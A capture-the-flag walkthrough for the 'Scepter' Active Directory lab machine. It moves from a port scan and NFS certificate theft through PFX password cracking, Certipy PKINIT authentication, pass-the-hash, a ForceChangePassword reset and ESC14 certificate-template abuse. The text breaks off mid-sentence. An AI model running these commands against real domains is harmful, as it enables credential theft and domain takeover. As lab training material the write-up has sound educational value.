RECON
Port Scan
$ rustscan -a $target_ip --ulimit 1000 -r 1-65535 -- -A -sC -Pn
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-04-20 08:39:12Z)
111/tcp open rpcbind syn-ack 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-20T08:40:40+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Issuer: commonName=scepter-DC01-CA/domainComponent=scepter
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-01T03:22:33
| Not valid after: 2025-11-01T03:22:33
| MD5: 2af6:88f7:a6bf:ef50:9b84:3dc6:3df5:e018
| SHA-1: cd9a:97ee:25c8:00ba:1427:c259:02ed:6e0d:9a21:7fd9
| -----BEGIN CERTIFICATE-----
| MIIGLDCCBRSgAwIBAgITYgAAACHTgl9VBArXxgAAAAAAITANBgkqhkiG9w0BAQsF
| ...
|_-----END CERTIFICATE-----
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-20T08:40:40+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Issuer: commonName=scepter-DC01-CA/domainComponent=scepter
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-01T03:22:33
| Not valid after: 2025-11-01T03:22:33
| MD5: 2af6:88f7:a6bf:ef50:9b84:3dc6:3df5:e018
| SHA-1: cd9a:97ee:25c8:00ba:1427:c259:02ed:6e0d:9a21:7fd9
| -----BEGIN CERTIFICATE-----
| MIIGLDCCBRSgAwIBAgITYgAAACHTgl9VBArXxgAAAAAAITANBgkqhkiG9w0BAQsF
| ...
2049/tcp open nlockmgr syn-ack 1-4 (RPC #100021)
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Issuer: commonName=scepter-DC01-CA/domainComponent=scepter
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-01T03:22:33
| Not valid after: 2025-11-01T03:22:33
| MD5: 2af6:88f7:a6bf:ef50:9b84:3dc6:3df5:e018
| SHA-1: cd9a:97ee:25c8:00ba:1427:c259:02ed:6e0d:9a21:7fd9
| -----BEGIN CERTIFICATE-----
| MIIGLDCCBRSgAwIBAgITYgAAACHTgl9VBArXxgAAAAAAITANBgkqhkiG9w0BAQsF
| ...
|_ssl-date: 2025-04-20T08:40:40+00:00; +8h00m01s from scanner time.
3269/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Issuer: commonName=scepter-DC01-CA/domainComponent=scepter
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-01T03:22:33
| Not valid after: 2025-11-01T03:22:33
| MD5: 2af6:88f7:a6bf:ef50:9b84:3dc6:3df5:e018
| SHA-1: cd9a:97ee:25c8:00ba:1427:c259:02ed:6e0d:9a21:7fd9
| -----BEGIN CERTIFICATE-----
| MIIGLDCCBRSgAwIBAgITYgAAACHTgl9VBArXxgAAAAAAITANBgkqhkiG9w0BAQsF
| ...
|_ssl-date: 2025-04-20T08:40:40+00:00; +8h00m02s from scanner time.
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open ssl/http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2025-04-20T08:40:40+00:00; +8h00m01s from scanner time.
|_http-title: Not Found
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: DNS:dc01.scepter.htb
| Issuer: commonName=dc01.scepter.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-01T00:21:41
| Not valid after: 2025-11-01T00:41:41
| MD5: e84c:6894:816e:b7f5:4338:0a1f:a896:2075
| SHA-1: 4e58:3799:020d:aaf4:d5ce:0c1e:76db:32cd:5a0e:28a7
| -----BEGIN CERTIFICATE-----
| MIIDLTCCAhWgAwIBAgIQYr4O5l5zSo9Nt/NWAsz/gDANBgkqhkiG9w0BAQsFADAb
| ...
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack .NET Message Framing
47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49665/tcp open msrpc syn-ack Microsoft Windows RPC
49666/tcp open msrpc syn-ack Microsoft Windows RPC
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49669/tcp open msrpc syn-ack Microsoft Windows RPC
49678/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49679/tcp open msrpc syn-ack Microsoft Windows RPC
49680/tcp open msrpc syn-ack Microsoft Windows RPC
49681/tcp open msrpc syn-ack Microsoft Windows RPC
49694/tcp open msrpc syn-ack Microsoft Windows RPC
49707/tcp open msrpc syn-ack Microsoft Windows RPC
49713/tcp open msrpc syn-ack Microsoft Windows RPC
49736/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-04-20T08:40:18
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 9553/tcp): CLEAN (Couldn't connect)
| Check 2 (port 27099/tcp): CLEAN (Couldn't connect)
| Check 3 (port 55449/udp): CLEAN (Timeout)
| Check 4 (port 44904/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 8h00m01s, deviation: 0s, median: 8h00m00s
We are dealing with Windows AD CS:
- Hostname:
DC01
- Domain:
scepter.htb
- Certificate Service CA:
scepter-DC01-CA
- Exposed services:
- Kerberos (88, 464) – can be donsidered for AS-REP roasting or Kerberoasting
- LDAP/LDAPS (389, 636, 3268, 3269) – enumeration of domain users and structure
- SMB (445, 139) – can be tested for share enumeration, null sessions
- WinRM (5985, 5986) – potential foothold via password reuse or evil-winrm
- NFS (2049) – rare on Windows, must be verified and might be key
SMB Enum
Null Session
Check if Null Session, also known as Anonymous session:
$ nxc smb $target_ip -u '' -p ''
SMB 10.129.▒▒.▒▒ 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB 10.129.▒▒.▒▒ 445 DC01 [+] scepter.htb\:
$ nxc smb $target_ip -u '' -p '' --shares
SMB 10.129.▒▒.▒▒ 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB 10.129.▒▒.▒▒ 445 DC01 [+] scepter.htb\:
SMB 10.129.▒▒.▒▒ 445 DC01 [-] Error enumerating shares: STATUS_ACCESS_DENIED
Anonymous login is allowed, but access to shares is restricted.
NFS Service Enum
Even though unusual on Windows, our rpcinfo
shows active nfs/mountd
on port 2049. If it's real:
$ showmount -e $target_ip
Export list for 10.129.▒▒.▒▒:
/helpdesk (everyone)
/helpdesk
is the exported NFS share. Since it's accessible to everyone, that's a red flag already: no root squash or IP restriction.
USER
NFS
Mount NFS
NFS (Network File System) is typically a Unix/Linux file-sharing protocol. Seeing it exposed on a Windows Domain Controller is unusual and strongly suggests:
- It's being emulated (e.g., via Services for NFS on Windows or WSL)
- It could be leaking sensitive files (e.g., registry hives, user data, scripts)
When NFS
is open (2049) and allows unauthenticated or misconfigured access, as we found out from the RECON phase:
$ showmount -e $target_ip
Export list for 10.129.▒▒.▒▒:
/helpdesk (everyone)
Attackers can:
- Mount the remote NFS share
- Access files with no authentication
- Extract them
Therefore, the 1st step is to mount the NFS share locally:
$ mkdir -p nfs
$ sudo mount -t nfs $target_ip:/helpdesk ./nfs
$ ll
total 512
drwx------ 2 nobody nobody 64 Nov 1 20:02 nfs
$ sudo ls nfs -l
total 25
-rwx------ 1 nobody nobody 2484 Nov 1 20:01 baker.crt
-rwx------ 1 nobody nobody 2029 Nov 1 20:01 baker.key
-rwx------ 1 nobody nobody 3315 Nov 1 20:01 clark.pfx
-rwx------ 1 nobody nobody 3315 Nov 1 20:01 lewis.pfx
-rwx------ 1 nobody nobody 3315 Nov 1 20:02 scott.pfx
These files look extremely valuable:
Filename | Likely Content | Use Case |
---|---|---|
baker.crt | X.509 Certificate (public key) | Identity certificate (useless alone) |
baker.key | Private key | If not encrypted, can be gold |
*.pfx | PKCS#12 container (cert+key+chain) | May include cert + private key + password for users |
We have 3 .pfx
files: clark, lewis, scott, which are potentially personal certificates with embedded credentials.
Naturally, we'd exfiltrate the files to our local box for closer scrutiny. However, Zsh enforces strict globbing semantics — unmatched patterns trigger failures by default. No matter. A quick sudo bash -c
sidestep neatly bypasses this limitation:
$ sudo cp nfs/* .
zsh: no matches found: nfs/*
$ sudo bash -c 'cp nfs/* .'
$ sudo chown -R Axura:Axura .
chown: changing ownership of './nfs/baker.crt': Permission denied
chown: changing ownership of './nfs/baker.key': Permission denied
chown: changing ownership of './nfs/clark.pfx': Permission denied
chown: changing ownership of './nfs/lewis.pfx': Permission denied
chown: changing ownership of './nfs/scott.pfx': Permission denied
chown: changing ownership of './nfs': Permission denied
$ ll
total 21K
-rwx------ 1 Axura Axura 2.5K Apr 19 18:24 baker.crt
-rwx------ 1 Axura Axura 2.0K Apr 19 18:24 baker.key
-rwx------ 1 Axura Axura 3.3K Apr 19 18:24 clark.pfx
-rwx------ 1 Axura Axura 3.3K Apr 19 18:24 lewis.pfx
drwx------ 2 nobody nobody 64 Nov 1 20:02 nfs
-rwx------ 1 Axura Axura 3.3K Apr 19 18:24 scott.pfx
Now that we've successfully copied the files out of the NFS share, we no longer need the mount. Unmounting will prevent accidental access issues or permission conflicts:
sudo umount nfs
PFX Abuse
Personal Information Exchange | .pfx
During enumeration, we uncovered several .pfx
artifacts — Personal Information Exchange files—typically used in application code signing and secure authentication. These bundles encapsulate critical cryptographic elements in a portable, password-protected container.
A .pfx
(aka .p12
) file is a certificate bundle that contains:
- A certificate (
.crt
) - Its corresponding private key (
.key
) - Optionally: the certificate chain (intermediate/root CA certs)
To create .pfx
, we must have both:
- A valid certificate (
.crt
) — this includes the Subject, UPN/email, etc. - The corresponding unencrypted private key (
.key
) — or the password for it
If the private key is protected, decryption is mandatory prior to bundling.
Once both assets are in hand, the conversion is trivial with openssl:
openssl pkcs12 -export -out example.pfx -inkey example.key -in example.crt
-inkey example.key
: the private key (must be decrypted if encrypted)-in example.crt
: the matching certificate-out example.pfx
: output.pfx
file-certfile ca.crt
: (optional) include CA cert if needed
Extract PFX Password | John
Now let's try dumping their contents. Start with clark.pfx
with empty password:
$ openssl pkcs12 -in clark.pfx -out clark.pem -nodes
Enter Import Password:
Mac verify error: invalid password?
It's protected — We'll move to offline brute-force using John the Ripper with the jumbo version, which includes the pfx2john
utility:
$ pfx2john.py
Usage: /home/Axura/hacktools/john-bleeding-jumbo/run/pfx2john.py <.pfx file(s)>
$ pfx2john.py clark.pfx > clark.hash
$ cat clark.hash
clark.pfx:$pfxng$256$32$2048$8$54c95d961b0bf1ef$30820c8e...235:::::clark.pfx
Try to crack it with rockyou.txt
. A dummy password was found:
$ john clark.hash --wordlist=/home/Axura/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx [PKCS12 PBE (.pfx, .p12) (SHA-1 to SHA-512) 128/128 AVX 4x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 256 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
newpassword (clark.pfx)
1g 0:00:00:00 DONE (2025-04-19 18:39) 4.545g/s 23272p/s 23272c/s 23272C/s newzealand..allison1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Now we can use the password to access the PFX file again and inspect the output .pem
:
$ openssl pkcs12 -in clark.pfx -out clark.pem -nodes
Enter Import Password:
(newpassword)
$ ls *.pem
clark.pem
$ cat clark.pem
Bag Attributes
localKeyID: E1 84 EA CC 0B 68 19 40 D4 CA 6B 14 C1 8E 9E 30 E7 AA 48 B4
subject=DC=htb, DC=scepter, CN=Users, CN=m.clark
issuer=DC=htb, DC=scepter, CN=scepter-DC01-CA
-----BEGIN CERTIFICATE-----
MIIGEzCCBPugAwdjsfsodfsowerBJkjnh3IfX0w3VfI=
[...]
A valid certificate for CN=m.clark
(in the scepter.htb
domain.
Public Key | .crt
None of the existed .pfx
file works for authentication. So we will pay our attention on the baker.crt
and baker.key
pair:
$ ls baker.*
baker.crt baker.key
The .crt
file is an X.509 certificate, in PEM format with public key and identity of a user. It's signed by the internal CA (scepter-DC01-CA
), so it's trusted by the AD domain.
We can inspect it:
$ openssl x509 -in baker.crt -text -noout
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
62:00:00:00:32:e1:a5:c3:91:51:31:09:7b:00:00:00:00:00:32
Signature Algorithm: sha256WithRSAEncryption
Issuer: DC=htb, DC=scepter, CN=scepter-DC01-CA
Validity
Not Before: Nov 2 01:13:46 2024 GMT
Not After : Nov 2 01:13:46 2025 GMT
Subject: DC=htb, DC=scepter, CN=Users, CN=d.baker, [email protected]
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
[...]
This is a rich certificate with all the indicators that we can proceed with certificate-based authentication (PKINIT).
The extracted subject:
CN=Users, CN=d.baker, emailAddress=[email protected]
This confirms the UPN is set, which is required for PKINIT auth using Certipy or Rubeus — our next target would be generating a PFX for the identified domain user d.bake
.
Private Key | .key
Earlier tests revealed that all *.pfx
files share a common passphrase: newpassword
. This insight enables seamless reuse during validation:
$ openssl rsa -in baker.key -check
Enter pass phrase for baker.key:
Could not find private key from baker.key
80FBA64997710000:error:1608010C:STORE routines:ossl_store_handle_load_result:unsupported:crypto/store/store_result.c:151:
80FBA64997710000:error:1C800064:Provider routines:ossl_cipher_unpadblock:bad decrypt:providers/implementations/ciphers/ciphercommon_block.c:107:
80FBA64997710000:error:11800074:PKCS12 routines:PKCS12_pbe_crypt_ex:pkcs12 cipherfinal error:crypto/pkcs12/p12_decr.c:92:empty password
It turns out baker.key
is a password-protected private key We cannot directly use it to make a .pfx
if we have the password.
Password Reusing
In our previous tests, we found out all the password phases of the *.pfx
is the same one — newpassword
. So we can try to reuse the password for testing:
$ openssl rsa -in baker.key -check
Enter pass phrase for baker.key:
(newpassword)
RSA key ok
writing RSA key
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQClg48ce3DwKwgh
[...]
bwM9VxTEXS46dI/ekST2kBY=
-----END PRIVATE KEY-----
This successful decryption validates newpassword
as the legitimate passphrase, confirming control over the private key and enabling further abuse through .pfx
generation or impersonation.
Generate PFX | Certipy
Now that the .pfx
generation is complete, let's weaponize it for post-exploitation:
$ openssl pkcs12 -export \
-inkey baker.key \
-in baker.crt \
-out baker.pfx
Enter pass phrase for baker.key:
Enter Export Password:
Verifying - Enter Export Password:
$ ls baker.*
baker.crt baker.key baker.pfx
To streamline our workflow, we leave the .pfx
export password empty — Certipy prefers it that way unless you shift to tooling like PKINITtools, which supports manual passphrase entry (see Mist writeup for full context).
After generating the .pfx
, authenticate:
certipy auth -pfx baker.pfx -dc-ip $target_ip -domain scepter.htb
When authenticate using Certipy, compensating for the clock skew using faketime
, introduced in the Certified writeup (or leverage a bash script wrapper mentioned in the Haze writeup for Arch Linux distro — what I do here):
$ su root
Password:
$ ./ft.sh $target_ip \
certipy auth -pfx baker.pfx -dc-ip $target_ip -domain scepter.htb
[*] Querying offset from: 10.129.▒▒.▒▒
[*] faketime -f format: +28801.532845
28801.532845s
[*] Running: certipy auth -pfx baker.pfx -dc-ip 10.129.▒▒.▒▒ -domain scepter.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'd.baker.ccache'
[*] Trying to retrieve NT hash for 'd.baker'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce
Test the NTLM hash across protocols with Netexec:
$ nxc smb $target_ip -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce
SMB 10.129.▒▒.▒▒ 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB 10.129.▒▒.▒▒ 445 DC01 [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce
$ nxc ldap $target_ip -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce
SMB 10.129.▒▒.▒▒ 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
LDAP 10.129.▒▒.▒▒ 389 DC01 [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce
$ nxc winrm $target_ip -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce
WINRM 10.129.▒▒.▒▒ 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb)
WINRM 10.129.▒▒.▒▒ 5985 DC01 [-] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce
We've established working SMB and LDAP sessions with d.baker
. No interactive WinRM shell.
BloodHound
LDAP access is all we need. With d.baker
in hand and clock skew neutralized, we can launch bloodhound-python to extract a full snapshot of the domain:
./ft.sh $target_ip \
bloodhound-python -u 'd.baker' --hashes ':18b5fb0d99e7a475316213c15b6f22ce' \
-d 'scepter.htb' -ns $target_ip --zip -c All \
-dc 'dc01.scepter.htb'
With that done, BloodHound opens up the attack surface like an x-ray.
We spot something interesting: d.baker
has ForceChangePassword
privileges over a.carter
:

Digging deeper, a.carter
is part of IT SUPPORT
, a group with a potential delegation footprint, especially over certain OUs or users:

That's where it gets spicy — IT SUPPORT
has GenericAll
on the StaffAccessCertificate
template:

Which means: a.carter
owns that cert template. He can:
- Modify its properties
- Abuse its configuration
- Request certificates as another user for the ones who have proper
Enrollment Rights
.
By abusing the cert template, we flip the chain — gaining write access back over d.baker
:

Now, try to inspect our entry point. Only one user is in Remote Management Users
: h.brown
— a prime foothold:

h.brown
is buried in privilege, stacked across multiple groups:

Further, We track the certificate publication map across the domain:

Among them: Helpdesk Enrollment Certificate
— linked to a critical user: p.adams
.

p.adams
is a member of the Replication Operators group:

Which gives him the trifecta of domain replication rights:
GetChanges
GetChangesAll
GetChangesInFilteredSet
These translate to DCSync, the golden key for AD compromise — krbtgt, DA creds, the works.
The escalation game is on.
ForceChangePassword
We've walked this path before — the ForceChangePassword vector was dissected in the Haze writeup and resurfaced in various ops since. This time, d.baker
has the leverage.
Fire up bloodyAD, surgically reset a.carter
's password:
bloodyAD --host "dc01.scepter.htb" -d "scepter.htb" \
-u 'd.baker' -p ':18b5fb0d99e7a475316213c15b6f22ce' \
set password "a.carter" 'Axura4sure~'
A clean success.
Let's verify the creds with Netexec, confirming the takeover with SMB or LDAP authentication:

Although a.carter
is not permitted to log in via WinRM, neither. The chain just got longer.
Certificate Templates
Enum Templates
Following the password reset, we now compromise the a.carter
user, who is a member of the IT SUPPORT
group, holdings GenericAll
privileges over the StaffAccessCertificate
template.
We can use certipy find
module to perform an enumeration on the AD CS certificate templates:
certipy find -u 'a.carter'@scepter.htb -p 'Axura4sure~' -dc-ip $target_ip
It outputs the enumeration results into a JSON file:
{
"Certificate Authorities": {
"0": {
"CA Name": "scepter-DC01-CA",
"DNS Name": "dc01.scepter.htb",
"Certificate Subject": "CN=scepter-DC01-CA, DC=scepter, DC=htb",
"Certificate Serial Number": "716BFFE1BE1CD1A24010F3AD0E350340",
"Certificate Validity Start": "2024-10-31 22:24:19+00:00",
"Certificate Validity End": "2061-10-31 22:34:19+00:00",
"Web Enrollment": "Disabled",
"User Specified SAN": "Disabled",
"Request Disposition": "Issue",
"Enforce Encryption for Requests": "Enabled",
"Permissions": {
"Owner": "SCEPTER.HTB\\Administrators",
"Access Rights": {
"2": [
"SCEPTER.HTB\\Administrators",
"SCEPTER.HTB\\Domain Admins",
"SCEPTER.HTB\\Enterprise Admins"
],
"1": [
"SCEPTER.HTB\\Administrators",
"SCEPTER.HTB\\Domain Admins",
"SCEPTER.HTB\\Enterprise Admins"
],
"512": [
"SCEPTER.HTB\\Authenticated Users"
]
}
}
}
},
[...]
- This is an Enterprise CA on
dc01.scepter.htb
- It does not support Web Enrollment (
/certsrv
) — so no ESC1. - It does not allow user-specified SAN (Subject Alternative Name) globally → this would mitigate ESC1–3 unless a vulnerable template allows it.
- It allows issuing certificates directly without approval (
Request Disposition: Issue
) - CA-level permissions:
Authenticated Users
can enroll certificates (right512
) — important for attack chaining.
HelpdeskEnrollmentCertificate
"Certificate Templates": {
"0": {
"Template Name": "HelpdeskEnrollmentCertificate",
"Display Name": "HelpdeskEnrollmentCertificate",
"Certificate Authorities": [
"scepter-DC01-CA"
],
"Enabled": true,
"Client Authentication": true,
"Enrollment Agent": false,
"Any Purpose": false,
"Enrollee Supplies Subject": false,
"Certificate Name Flag": [
"SubjectRequireDnsAsCn",
"SubjectAltRequireDns"
],
"Enrollment Flag": [
"AutoEnrollment"
],
"Private Key Flag": [
"16777216",
"65536"
],
"Extended Key Usage": [
"Server Authentication",
"Client Authentication"
],
"Requires Manager Approval": false,
"Requires Key Archival": false,
"Authorized Signatures Required": 0,
"Validity Period": "99 years",
"Renewal Period": "6 weeks",
"Minimum RSA Key Length": 2048,
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"SCEPTER.HTB\\Domain Admins",
"SCEPTER.HTB\\Domain Computers",
"SCEPTER.HTB\\Enterprise Admins"
]
},
"Object Control Permissions": {
"Owner": "SCEPTER.HTB\\Administrator",
"Write Owner Principals": [
"SCEPTER.HTB\\Domain Admins",
"SCEPTER.HTB\\Enterprise Admins",
"SCEPTER.HTB\\Administrator"
],
"Write Dacl Principals": [
"SCEPTER.HTB\\Domain Admins",
"SCEPTER.HTB\\Enterprise Admins",
"SCEPTER.HTB\\Administrator"
],
"Write Property Principals": [
"SCEPTER.HTB\\Domain Admins",
"SCEPTER.HTB\\Enterprise Admins",
"SCEPTER.HTB\\Administrator"
]
}
}
}
Only the following principals are allowed to enroll:
SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Domain Computers
SCEPTER.HTB\Enterprise Admins
ACLs / Control Rights:
- Template is owned by:
SCEPTER.HTB\Administrator
- Full modification rights (
WriteOwner
,WriteDacl
,WriteProperty
) granted to:Domain Admins
Enterprise Admins
Administrator
And from there, we spin up a BloodHound digestor with precision:
certipy find -old-bloodhound -u 'a.carter'@scepter.htb -p 'Axura4sure~' -dc-ip $target_ip
Which allows us inspect more details inside BloodHound later.
StaffAccessCertificate
"Certificate Templates": {
"1": {
"Template Name": "StaffAccessCertificate",
"Display Name": "StaffAccessCertificate",
"Certificate Authorities": [
"scepter-DC01-CA"
],
"Enabled": true,
"Client Authentication": true,
"Enrollment Agent": false,
"Any Purpose": false,
"Enrollee Supplies Subject": false,
"Certificate Name Flag": [
"SubjectRequireEmail",
"SubjectRequireDnsAsCn",
"SubjectAltRequireEmail"
],
"Enrollment Flag": [
"NoSecurityExtension",
"AutoEnrollment"
],
"Private Key Flag": [
"16777216",
"65536"
],
"Extended Key Usage": [
"Client Authentication",
"Server Authentication"
],
"Requires Manager Approval": false,
"Requires Key Archival": false,
"Authorized Signatures Required": 0,
"Validity Period": "99 years",
"Renewal Period": "6 weeks",
"Minimum RSA Key Length": 2048,
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"SCEPTER.HTB\\staff"
]
},
"Object Control Permissions": {
"Owner": "SCEPTER.HTB\\Enterprise Admins",
"Full Control Principals": [
"SCEPTER.HTB\\Domain Admins",
"SCEPTER.HTB\\Local System",
"SCEPTER.HTB\\Enterprise Admins"
],
"Write Owner Principals": [
"SCEPTER.HTB\\Domain Admins",
"SCEPTER.HTB\\Local System",
"SCEPTER.HTB\\Enterprise Admins"
],
"Write Dacl Principals": [
"SCEPTER.HTB\\Domain Admins",
"SCEPTER.HTB\\Local System",
"SCEPTER.HTB\\Enterprise Admins"
],
"Write Property Principals": [
"SCEPTER.HTB\\Domain Admins",
"SCEPTER.HTB\\Local System",
"SCEPTER.HTB\\Enterprise Admins"
]
}
}
}
The StaffAccessCertificate
template starts to look interesting, with important details:
- Requires email + DNS in subject (but not UPN)
- Has
SubjectAltRequireEmail
, which is a known condition required for ESC14 - Also has NoSecurityExtension — which weakens certificate protections
Subject Alternative Name Require Email (
subjectaltrequireemail
): Whether the certificate template requires the email of the subject for the Subject Alternative Name.Directory: msPKI-Certificate-Name-Flag (CT_FLAG_SUBJECT_ALT_ REQUIRE_EMAIL)
Only the group staff
can enroll, for example d.baker
:

If any user we control can both enroll and control their mail
attribute, this could lead to impersonation.
ESC14 B: X509RFC822 (Email)
Methodology
We start with the knowledge that the certificate template StaffAccessCertificate
is configured with:
Enrollment Rights
: SCEPTER.HTB\staffEnrollment Flags
: IncludesCT_FLAG_NO_SECURITY_EXTENSION
Name Flags
: IncludesCT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL
This combination indicates a potential for ESC14 (B) abuse, introduced on Hacker Recipes, but only if we can satisfy the mapping requirements:
Requirement | Met? | Explanation |
---|---|---|
1. Target is a user account | ✅ | h.brown is a user |
2. altSecurityIdentities has X509:<I=...><S=...> with RFC822/email mapping | ❓ | Not confirmed yet |
3. Attacker can write mail of victim account | ✅ | a.carter has control over d.baker (via OU permissions). So we can set [email protected] → [email protected] |
4. A certificate template exists that allows d.baker to enroll and: | ||
— has CT_FLAG_NO_SECURITY_EXTENSION | ✅ | StaffAccessCertificate has NoSecurityExtension in Enrollment Flags |
— has CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL | ✅ | It includes SubjectAltRequireEmail in Name Flags |
Therefore, we can query for all users in LDAP that have the altSecurityIdentities
attribute set, using a valid user we control (a.carter
) with appropriate read permissions:
$ ldapsearch -x -H ldap://dc01.scepter.htb \
-D "[email protected]" -w 'Axura4sure~' \
-b "DC=scepter,DC=htb" "(altSecurityIdentities=*)" \
altSecurityIdentities sAMAccountName
# extended LDIF
#
# LDAPv3
# base <DC=scepter,DC=htb> with scope subtree
# filter: (altSecurityIdentities=*)
# requesting: altSecurityIdentities sAMAccountName
#
# h.brown, Users, scepter.htb
dn: CN=h.brown,CN=Users,DC=scepter,DC=htb
sAMAccountName: h.brown
altSecurityIdentities: X509:<RFC822>[email protected]
# search reference
ref: ldap://ForestDnsZones.scepter.htb/DC=ForestDnsZones,DC=scepter,DC=htb
# search reference
ref: ldap://DomainDnsZones.scepter.htb/DC=DomainDnsZones,DC=scepter,DC=htb
# search reference
ref: ldap://scepter.htb/CN=Configuration,DC=scepter,DC=htb
# search result
search: 2
result: 0 Success
# numResponses: 5
# numEntries: 1
# numReferences: 3
The highlighted output reveals that h.brown
is vulnerable to impersonation via RFC822 certificate mapping.
Now we have all conditions ratified, to abuse ESC14(B), we need:
- A user who:
- Can enroll in the vulnerable certificate template (i.e.,
d.baker
in thestaff
group) - Has write access to their own
mail
attribute (a.carter
user withGenericALL
